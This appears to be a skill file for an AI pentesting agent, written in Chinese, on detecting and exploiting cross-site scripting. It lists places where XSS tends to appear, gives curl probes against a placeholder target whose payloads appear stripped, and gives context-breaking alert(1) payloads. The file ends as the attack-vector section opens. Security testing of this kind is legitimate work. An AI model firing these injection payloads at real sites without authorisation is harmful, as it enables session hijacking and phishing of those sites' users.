--- name: xss description: 跨站脚本漏洞检测与利用。当目标存在用户输入反射、评论功能、搜索框、URL 参数显示时使用。包括反射型、存储型、DOM XSS。 allowed-tools: Bash, Read, Write --- # 跨站脚本攻击 (XSS) 通过在网页中注入恶意脚本,在用户浏览器中执行,实现会话劫持、钓鱼攻击或恶意操作。 ## 常见指示器 - 用户输入直接反射到页面(搜索框、评论、用户名显示) - URL 参数直接显示在页面中 - 富文本编辑器或 Markdown 渲染 - 错误信息包含用户输入 - JSON 响应被直接渲染 - SVG/XML 文件上传 ## 检测方法 ### 1. 基础测试 ```bash # 简单 payload curl "http://target.com/search?q=" # 事件处理器 curl "http://target.com/search?q=" # SVG curl "http://target.com/search?q=" ``` ### 2. 上下文检测 ```bash # HTML 上下文 # 属性上下文 " onmouseover="alert(1) # JavaScript 上下文 ';alert(1)// # URL 上下文 javascript:alert(1) ``` ## 攻击向量 ### 反射型 XSS ```html